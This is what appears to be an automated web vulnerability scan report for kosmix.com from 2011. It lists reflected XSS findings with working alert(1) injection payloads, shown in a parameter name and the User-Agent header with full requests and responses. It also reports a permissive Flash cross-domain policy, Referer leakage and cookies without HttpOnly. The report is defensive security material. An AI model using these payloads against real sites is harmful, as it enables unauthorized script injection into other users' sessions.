XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, kosmix.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.kosmix.com/ [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb009"%3balert(1)//7588aa95cd8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bb009";alert(1)//7588aa95cd8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?bb009"%3balert(1)//7588aa95cd8=1 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:48 GMT
Status: 200 OK
Content-Type: text/html
Set-Cookie: kid=f3875af0-615b-012e-f057-003048fe4cb2; path=/; expires=Sat, 15-May-2021 20:00:48 GMT
Set-Cookie: as=ref_absent; path=/; expires=Sat, 15-May-2021 20:00:48 GMT
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:48 GMT
Vary: Accept-Encoding
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/
Content-Length: 15733

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...


//set global search variables
   var searchParams = {};
   var stickyParams = {};
       searchParams["dynamic_modules"] = "";
       searchParams["v"] = "any";
       searchParams["qtitle"] = "";
       searchParams["bb009";alert(1)//7588aa95cd8"] = "1";
       searchParams["invasive_banner_ad"] = "";
       searchParams["urchin_id"] = "UA-2165955-1";
       searchParams["referrer_query"] = "";
       searchParams["q_lower"] = "kosmixhomepage";
       searchParams["a
...[SNIP]...

1.2. http://www.kosmix.com/ [User-Agent HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/

Issue detail

The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 953d7'-alert(1)-'f7617ef5c29 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET / HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24953d7'-alert(1)-'f7617ef5c29
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:01:14 GMT
Status: 200 OK
Content-Type: text/html
Set-Cookie: kid=02e66700-615c-012e-dbad-003048fe3090; path=/; expires=Sat, 15-May-2021 20:01:14 GMT
Set-Cookie: as=ref_absent; path=/; expires=Sat, 15-May-2021 20:01:14 GMT
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:01:14 GMT
Vary: Accept-Encoding
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b345525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:03:14 GMT;path=/
Content-Length: 15708

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...

   kl.page_type = 'o';
   kl.initialize();
   kapp.page = 'true';
   kapp.searchCookie = ['kosmix','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24953d7'-alert(1)-'f7617ef5c29'];
   </script>
...[SNIP]...

2. Flash cross-domain policy previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.kosmix.com

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:43 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:20:09 GMT
Accept-Ranges: bytes
Content-Length: 101
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:43 GMT
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=88
Connection: Keep-Alive
Content-Type: text/xml
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b345525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:43 GMT;path=/

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

3. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/javascripts/cache/topic_bottom-kosmix-sem-chimborazo-152138.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.kosmix.com/javascripts/cache/topic_bottom-kosmix-sem-chimborazo-152138.js?1304862030

The response contains the following links to other domains:

http://en.wikipedia.org/
http://flickr.com/apps/video/stewart.swf
http://meehive.com/
http://twitter.com/$1
http://twitter.com/'+author+'
http://twitter.com/search?q=%23$1
http://vimeo.com/moogaloop.swf?clip_id='+v_id+'&server=vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=&fullscreen=1'+autoplay+'
http://www.google.com/search?site=&hl=en&q='+this.kjax.query+'
http://www.howcast.com/flash/howcast_player.swf?file='+v_id+'

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /javascripts/cache/topic_bottom-kosmix-sem-chimborazo-152138.js?1304862030 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:48 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Sun, 08 May 2011 13:40:30 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:48 GMT
Vary: Accept-Encoding
Content-Type: text/javascript
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/
Content-Length: 106382

kapp.namespace("kapp.log.ext");kapp.log.ext.filters=['xpopup.js','127.0.0.1:1030/js.cgi','quant.js','injection_graph_func.js','Permission denied to call method Location.toString','Error loading script
...[SNIP]...
<strong><a title="'+this.kjax.query+'"href="http://www.google.com/search?site=&hl=en&q='+this.kjax.query+'"'+this.kjax.query+'">search for '+this.kjax.query+'</a>
...[SNIP]...
<p class="source"><a title="Wikipedia" class="image" rel="no_follow" href="http://en.wikipedia.org"><img width="16" height="16" alt="Wikipedia" class="favicon" src="/images/icons/wikipedia.org.png"/></a><a title="Wikipedia" rel="no_follow" href="http://en.wikipedia.org">Wikipedia</a>
...[SNIP]...
<p class="source"><a title="Wikipedia" class="image" rel="no_follow" href="http://en.wikipedia.org"><img width="16" height="16" alt="Wikipedia" class="favicon" src="/images/icons/wikipedia.org.png"/></a><a title="Wikipedia" rel="no_follow" href="http://en.wikipedia.org">Wikipedia</a>
...[SNIP]...
<p class="source"><a title="MeeHive" class="image" rel="no_follow" href="http://meehive.com"><img width="16" height="16" alt="MeeHive" class="favicon" src="/images/icons/meehive.com.png"/></a><a title="MeeHive" rel="no_follow" href="http://meehive.com">MeeHive</a>
...[SNIP]...
6c9a2ed9b19dd0879eb295808b3c&format=json';kapp.JSONrequest(url)};this.embed_code=function(video_url,autoload){autoplay='flickr_noAutoPlay=true&';if(autoload){autoplay='flickr_noAutoPlay=false&'}return'<embed width="'+this.video_width+'" height="'+this.video_height+'" flashvars="flickr_notracking=true&flickr_h='+this.video_height+'&flickr_w='+this.video_width+'&flickr_no_logo=true&onsite=true&'+autoplay+'photo_id='+this.video_id+'&flickr_doSmall=true" allowscriptaccess="always" allowfullscreen="true" quality="high" bgcolor="#000000" base="." name="stewart_swf2752911446" id="stewart_swf2752911446" style="visibility: visible;" src="http://flickr.com/apps/video/stewart.swf" type="application/x-shockwave-flash"/>'};this.video_id=v_id;this.video_width=d_width;this.video_height=d_height;this.ready=false;this.video_url='';this.get_url(this.video_id)};kapp.video.YouTube=function(v_id,d_width,d_height){this.embed_c
...[SNIP]...
height;this.video_url=v_id;this.ready=true};kapp.video.HowCast=function(v_id,d_width,d_height){this.embed_code=function(v_id,autoload){autoplay='&autoplay=0';if(autoload){autoplay='&autoplay=1'}return'<object type="application/x-shockwave-flash" data="http://www.howcast.com/flash/howcast_player.swf?file='+v_id+'" width="'+d_width+'" height="'+d_height+'"><param name="movie" value="http://www.howcast.com/flash/howcast_player.swf?file='+v_id+'" />
...[SNIP]...
<param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id='+v_id+'&server=vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=&fullscreen=1'+autoplay+'" /> <embed src="http://vimeo.com/moogaloop.swf?clip_id='+v_id+'&server=vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=&fullscreen=1'+autoplay+'" type="application/x-shockwave-flash" allowfullscreen="true" quality="high" scalemode="showAll" allowscriptaccess="always" width="'+d_width+'" height="'+d_height+'"></embed>
...[SNIP]...
<div class="user"><a href="http://twitter.com/'+author+'" title="'+author+'"><img src="'+image+'" width="48" height="48" alt="'+author+'" />
...[SNIP]...
<p><a href="http://twitter.com/'+author+'" title="'+author+'">'+author+'</a>
...[SNIP]...
<div class="image"><a href="http://twitter.com/'+author+'" title="'+author+'"><img src="'+image+'" width="48" height="48" alt="'+author+'">
...[SNIP]...
<p><a href="http://twitter.com/'+author+'" title="'+author+'" rel="nofollow"><strong>
...[SNIP]...
</a>");newString=newString.replace(/\s\#(\S*)/gi," <a href='http://twitter.com/search?q=%23$1' rel='nofollow'>#$1</a>");return newString.replace(/\@([a-z0-9_]+)/gi,"<a href='http://twitter.com/$1' rel='nofollow'>@$1</a>
...[SNIP]...

4. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://tcr.tynt.com/javascripts/Tracer.js?user=aH4rgeyDqr35CXadbi-bpO

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET / HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:43 GMT
Status: 200 OK
Content-Type: text/html
Set-Cookie: kid=f096d110-615b-012e-7d8d-003048fe3090; path=/; expires=Sat, 15-May-2021 20:00:43 GMT
Set-Cookie: as=ref_absent; path=/; expires=Sat, 15-May-2021 20:00:43 GMT
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:43 GMT
Vary: Accept-Encoding
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b345525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:43 GMT;path=/
Content-Length: 15679

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
</span>

<script type="text/javascript" src="http://tcr.tynt.com/javascripts/Tracer.js?user=aH4rgeyDqr35CXadbi-bpO"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set previous next
There are 21 instances of this issue:

/
/c-javascripts/kapp_relevance.js
/images/ck.txt
/images/favicon.ico
/images/homepage/announcement.png
/images/homepage/righthealth_link.png
/images/homepage/tweetbeat_link.png
/images/homepage/walmart_labs.png
/images/homepage_stars/stars.png
/images/mpv.txt
/images/pv.txt
/images/redesign/body_bg_trans.png
/images/sprites/fark-sprite.png
/images/sprites/favicon-sprite.png
/javascripts/cache/options_bottom-kosmix-sem-chimborazo-152138.js
/javascripts/cache/topic_bottom-kosmix-sem-chimborazo-152138.js
/javascripts/cache/topic_bottom_homepage-kosmix-sem-chimborazo-152138.js
/javascripts/cache/topic_top-s_kosmix-chimborazo-152138.js
/kosmixSearch.xml
/stylesheets/cache/topic-s_kosmix-chimborazo-152138.css
/stylesheets/cache/topic_page_redesign-s_kosmix-chimborazo-152138.css

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

5.1. http://www.kosmix.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

kid=f096d110-615b-012e-7d8d-003048fe3090; path=/; expires=Sat, 15-May-2021 20:00:43 GMT
as=ref_absent; path=/; expires=Sat, 15-May-2021 20:00:43 GMT
NSC_uc.lptnjy.dpn=ffffffff090417b345525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:43 GMT;path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

5.2. http://www.kosmix.com/c-javascripts/kapp_relevance.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/c-javascripts/kapp_relevance.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /c-javascripts/kapp_relevance.js?1302816008 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:48 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:20:08 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:48 GMT
Vary: Accept-Encoding
Content-Type: text/javascript
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/
Content-Length: 16631

kapp.namespace("kapp.relevance");
kapp.relevance.init = function() {

   function ModuleRelevance(user){
       this.user = user;
       this.set_cookie("module_relevance","on");
       this.modules = this.find_modul
...[SNIP]...

5.3. http://www.kosmix.com/images/ck.txt previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/ck.txt

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:03:14 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/ck.txt?pvid=454012985&s=f062f6f0-615b-012e-931e-003048fe4cb2&ckid=1086031566&m=footer&r=1010200&c=1&ct=staticclick&x=806&y=923&v=29&p=site_footer HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
X-Prototype-Version: 1.6.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; last_referrer=; __utmz=33745467.1305489647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=33745467.1661155596.1305489647.1305489647.1305489647.1; __utmc=33745467; __utmb=33745467.1.10.1305489647; __qca=P0-1290282890-1305489649089; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:01:14 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:20:11 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:01:14 GMT
Vary: Accept-Encoding
Content-Type: text/plain
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:03:14 GMT;path=/
Content-Length: 0

5.4. http://www.kosmix.com/images/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:57 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/favicon.ico HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; last_referrer=; __utmz=33745467.1305489647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=33745467.1661155596.1305489647.1305489647.1305489647.1; __utmc=33745467; __utmb=33745467.1.10.1305489647; __qca=P0-1290282890-1305489649089; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:57 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:20:14 GMT
Accept-Ranges: bytes
Content-Length: 1150
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:57 GMT
Content-Type: image/vnd.microsoft.icon
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:57 GMT;path=/

............ .h.......(....... ..... .........................................................................................................................@...@..`..................................
...[SNIP]...

5.5. http://www.kosmix.com/images/homepage/announcement.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/homepage/announcement.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/homepage/announcement.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:49 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 12 May 2011 18:35:25 GMT
Accept-Ranges: bytes
Content-Length: 95969
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:49 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

.PNG
.
...IHDR...............S ....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

5.6. http://www.kosmix.com/images/homepage/righthealth_link.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/homepage/righthealth_link.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/homepage/righthealth_link.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:49 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Tue, 03 May 2011 19:23:23 GMT
Accept-Ranges: bytes
Content-Length: 9525
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:49 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

.PNG
.
...IHDR.......a.....IH......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

